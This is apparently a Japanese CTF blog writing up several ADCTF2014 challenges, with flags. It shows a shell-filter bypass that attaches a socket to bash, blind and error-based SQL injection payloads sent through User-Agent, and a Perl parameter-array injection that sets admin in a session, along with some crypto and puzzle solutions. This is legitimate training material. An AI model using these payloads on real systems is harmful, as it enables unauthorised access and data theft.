つれづれなる備忘録

CTF関連の事やその他諸々

ADCTF2014 [16] blind shell

Restriction: You can't use any commands. (actually /bin/bash only) Do not brute force. You don't need to. blind_shell
nc pwnable.katsudon.org 44010

 

今日のは多分シェル芸だろうな

まずはgdbで解析

(gdb) x/128gx 0x400a88 0x400a88: 0x00000000004009c0 0x0000000000400990 0x400a98: 0x0000000000400990 0x00000000004009c9 0x400aa8: 0x00000000004009c9 0x0000000000400990 0x400ab8: 0x00000000004009c9 0x0000000000400990 0x400ac8: 0x0000000000400990 0x0000000000400990 0x400ad8: 0x00000000004009c9 0x0000000000400990 0x400ae8: 0x0000000000400990 0x0000000000400990 0x400af8: 0x0000000000400990 0x0000000000400990 0x400b08: 0x00000000004009c9 0x00000000004009c9 0x400b18: 0x00000000004009c9 0x00000000004009c9 0x400b28: 0x00000000004009c9 0x00000000004009c9 0x400b38: 0x00000000004009c9 0x00000000004009c9 0x400b48: 0x00000000004009c9 0x00000000004009c9 0x400b58: 0x00000000004009c9 0x00000000004009c9 0x400b68: 0x00000000004009c9 0x00000000004009c9 0x400b78: 0x00000000004009c9 0x0000000000400990 0x400b88: 0x00000000004009c9 0x00000000004009c9 0x400b98: 0x00000000004009c9 0x00000000004009c9 0x400ba8: 0x00000000004009c9 0x00000000004009c9 0x400bb8: 0x00000000004009c9 0x00000000004009c9 0x400bc8: 0x00000000004009c9 0x00000000004009c9 0x400bd8: 0x00000000004009c9 0x00000000004009c9 0x400be8: 0x00000000004009c9 0x00000000004009c9 0x400bf8: 0x00000000004009c9 0x00000000004009c9 0x400c08: 0x00000000004009c9 0x00000000004009c9 0x400c18: 0x00000000004009c9 0x00000000004009c9 0x400c28: 0x00000000004009c9 0x00000000004009c9 0x400c38: 0x00000000004009c9 0x00000000004009c9 0x400c48: 0x00000000004009c9 0x00000000004009c9 0x400c58: 0x00000000004009c9 0x0000000000400990 0x400c68: 0x0000000000400990 0x0000000000400990 0x400c78: 0x0000000000400990 0x00000000004009c9 0x400c88: 0x0000000000400990 0x00000000004009c9 0x400c98: 0x00000000004009c9 0x00000000004009c9 0x400ca8: 0x00000000004009c9 0x00000000004009c9 0x400cb8: 0x00000000004009c9 0x00000000004009c9 0x400cc8: 0x00000000004009c9 0x00000000004009c9 0x400cd8: 0x00000000004009c9 0x00000000004009c9 0x400ce8: 0x00000000004009c9 0x00000000004009c9 0x400cf8: 0x00000000004009c9 0x00000000004009c9 0x400d08: 0x00000000004009c9 0x00000000004009c9 0x400d18: 0x00000000004009c9 0x00000000004009c9 0x400d28: 0x00000000004009c9 0x00000000004009c9 0x400d38: 0x00000000004009c9 0x00000000004009c9 0x400d48: 0x00000000004009c9 0x00000000004009c9 0x400d58: 0x00000000004009c9 0x00000000004009c9 0x400d68: 0x00000000004009c9 0x00000000004009c9 0x400d78: 0x0000000000400990

ASCII文字の使用の不可の判断にjmp先のアドレスを指定して使われてるようですね

0x004009c9にjmpならセーフ、0x004009c0は回数限定、0x00400990は即終了

 

従って、英数字は全て大丈夫として、記号が以下の通りに分類されます。

使用可:#$&*:;<=>@_{|}

一回のみ使用可:SP

使用不可:!"%'()+,-./?[]^_`DEL

 

さて、これらで何をしようかな

bashの組み込みコマンドは使えるようなので、それらを駆使しようと思います。

blind_shell

まずはこれらを投げます

exec<&4>&4;read cmd;${cmd} /bin/bash

プログラムのソケットのfdは4でしたので入出力を繋げて、環境変数cmdにreadで『/bin/bash』を読み込ませます。

for path in ./*; do echo ${path}; done

ディレクトリ内のファイル一覧を表示させ

cd flag_is_in_dir

ディレクトリを移動後、再びファイル一覧表示

while read line; do echo ${line}; done < this_is_flag

フラグを取得

 

FLAG: ADCTF_y0u_C4N_533_y0U_c4N_br34tH

ADCTF2014 [14] secret table

またしてもSQLinjectionだ

楽しみだw

Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code. secrettable.adctf2014.katsudon.org

 

またしてもUser-Agentでインジェクションをするらしいな

しかし、今度は表示に変化がない・・・とおもいきや、文法エラーを起こすとServer error

うん、これError Based Blind SQL injectionだな

 

ここまでわかったものの、どうやってエラーを引き起こそう

どうやらCASE文が使えるらしいぞ

'+(case when (select substr('hoge',1,1)) > 'a' then 1 end)+'

成立すれば200が返ってくるし、ダメなら500だ

 

そんな感じでやってると、今度はこれはSQLiteということが判明

コードを書きなおしてこれでいこう

sqli_secret_table.py

 

そんで、これが得られました

secret_table1

CREATE TABLE super_secret_flag__Ds7KLcV9 yo_yo_you_are_enjoying_blind_sqli TEXT

 

よし、もっかい

secret_table2

やったね

 

FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1

ADCTF2014 [13] loginpage

ログインページだー

You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag. I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it :) loginpage.adctf2014.katsudon.org source

 

あれ、この問題どっかで見たことあるよ

あ、ちょっと違うけどこれだ

脆弱なアプリを書く技術

 

へぇー

同名パラメタでparamメソッドに渡すと配列を受け取れるのね

しかも、ハッシュ生成時に配列を含むと、インジェクションできるとか

 

脆弱性はloginpage.plの75行目から80行目にあり!

[perl] $self->session->{user} = { name => $self->param('name'), pass => $self->param('pass'), give_me_flag => 0, admin => $is_admin, }; [/perl]

 

じゃあPOSTでこうしましょ name=ShiftCrops&pass=abcd&pass=admin&pass=1&pass=give_me_flag

[perl] $self->session->{user} = { 'name' =>'ShiftCrops', 'pass' => 'abcd', 'admin' => 1, 'give_me_flag' => 'give_me_flag', '0' => 'admin', $is_admin => , }; [/perl]

最後の方は壊れてますけど、目的の達成はできました。 loginpage

FLAG:ADCTF_L0v3ry_p3rl_c0N73x7

ADCTF2014 [11] blacklist

SQL injectionキター

We have stupid blacklist. The flag is in flag table. blacklist.adctf2014.katsudon.org source

 

さてさて、どこに脆弱性があるのかなー?

blacklist.plを読むと、20行目で接続元のUser-AgentとIPをそのままInsertしていますね。

IPは変えられなくても、User-Agentは任意の文字列に変えられるので、これで攻撃しようと思います。

 

しかし、ここで一つ問題が

仮に『','hoge')#』なんていう文字列を送ったとしても、'hoge'はipに格納されてしまうためこれじゃあ見られないなぁ

あ、valuesに対して二つの (ry そうだった『),(』使えないんだ

う~ん、、、

 

あれ、数値ってもしかして

『'+conv(hex*1,16,10)+'』と送ると、『1752131429』という値が返ってきました。

hoge』⇒『68 6F 67 65』⇒『1752131429』

これでイケるぜ!!

ただ、数値の上限があるから5文字ずつ取り出しますかね

 

INFORMATION_SCHEMA.TABLESからテーブル名flag

INFORMATION_SCHEMA.COLUMNSからカラム名flag is here!!!が分かります

あとはselect flag is here!!! from flagするだけー

sqli_blacklist.py

blacklist

 

FLAG: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

*1:select 'hoge'

ADCTF2014 [10] xor

xor+shiftの暗号かぁー

712249146f241d31651a504a1a7372384d173f7f790c2b115f47 Source Code: [c] #include <stdio.h> #include <string.h> int main() { char flag = "ADCTF_XXXXXXXXXXXXXXXXXXXX"; int len = strlen(flag); for (int i = 0; i &lt; len; i++) { if (i &gt; 0) flag[i] ^= flag[i-1]; flag[i] ^= flag[i] &gt;&gt; 4; flag[i] ^= flag[i] &gt;&gt; 3; flag[i] ^= flag[i] &gt;&gt; 2; flag[i] ^= flag[i] &gt;&gt; 1; printf("%02x", (unsigned char)flag[i]); } return 0; } [/c]

 

 

昔、某k○nctfの暗号問題を解くときに書いたプログラムをそのまま流用するか

[c]

include <stdio.h>

include <string.h>

unsigned long decXORShift_R(unsigned long,int);

int main(void){ int i; char flag = {0x71,0x22,0x49,0x14,0x6f,0x24,0x1d,0x31,0x65,0x1a,0x50,0x4a,0x1a,0x73,0x72,0x38,0x4d,0x17,0x3f,0x7f,0x79,0x0c,0x2b,0x11,0x5f,0x47,0x00}; int len = strlen(flag);

for(i=len-1; i>=0; i--){ flag[i]=decXORShift_R(flag[i],1);    flag[i]=decXORShift_R(flag[i],2);    flag[i]=decXORShift_R(flag[i],3);    flag[i]=decXORShift_R(flag[i],4);    if(i>0)      flag[i] ^= flag[i-1]; } printf("%s",flag);

return 0; }

unsigned long decXORShift_R(unsigned long x,int t){ unsigned long y=x, z=0; for(unsigned long mask=((1U<<t)-1)<<(sizeof(long)*8-t);mask;mask>>=t){    z |= (y&mask)>>t;    y = zx; } return y; }

[/c]

元のプログラムはand演算を加味したものも解けるようにしてあったのだけど、今回は必要ないから取り除きました

 

FLAG: ADCTF_51mpl3_X0R_R3v3r51n6

ADCTF2014 [09] qrgarden

遂にQRコードの波がADCTFにも!!!

Read a lot, and the flag begins with "ADCTF_". qrgarden.png

 

QRコードだらけwww

100×100のQRを、ひとまず片っ端から読むだけ

pythonにはqrcodeってのがあるはずなんだけど、Windowsの俺にそんな便利なものは無かったorz

コードが汚いので公開はしませんw

 

どちらにせよ、ADCTF_が出るまで読み続けた。

結果はこちらに(特に見る価値はない)

result_qrgarden.7z

(52, 78)の位置に発見

 

FLAG: ADCTF_re4d1n9_Qrc0de_15_FuN

ADCTF2014 [08] rotate

今日は問題文はございません

以下のファイルだけー

rotate.zip

エンコードに用いられたコードと、flag.jpgがエンコードされたflag.jpg.encが含まれているzipファイルが渡されます。

 

コードを見ると、やっていることは回転行列そのものを用いてますね

だったら、その逆行列にかけてやれば良いことなのだが、生憎何度の回転をかけたのかが分かりません。

とは言っても、keyは整数限定なので360回1度ずつ回すだけで全てです。

 

じゃあブルートフォースで良いよね?

その結果、keyは123°であることが分かりました。

solve_rotate.py

上のプログラムを用いて、『solve_rotate.py decode flag.jpg 123』で走ります。

 

・・・うーん

何この変な絵

flag

 

FLAG: ADCTF_TR0t4T3_f4C3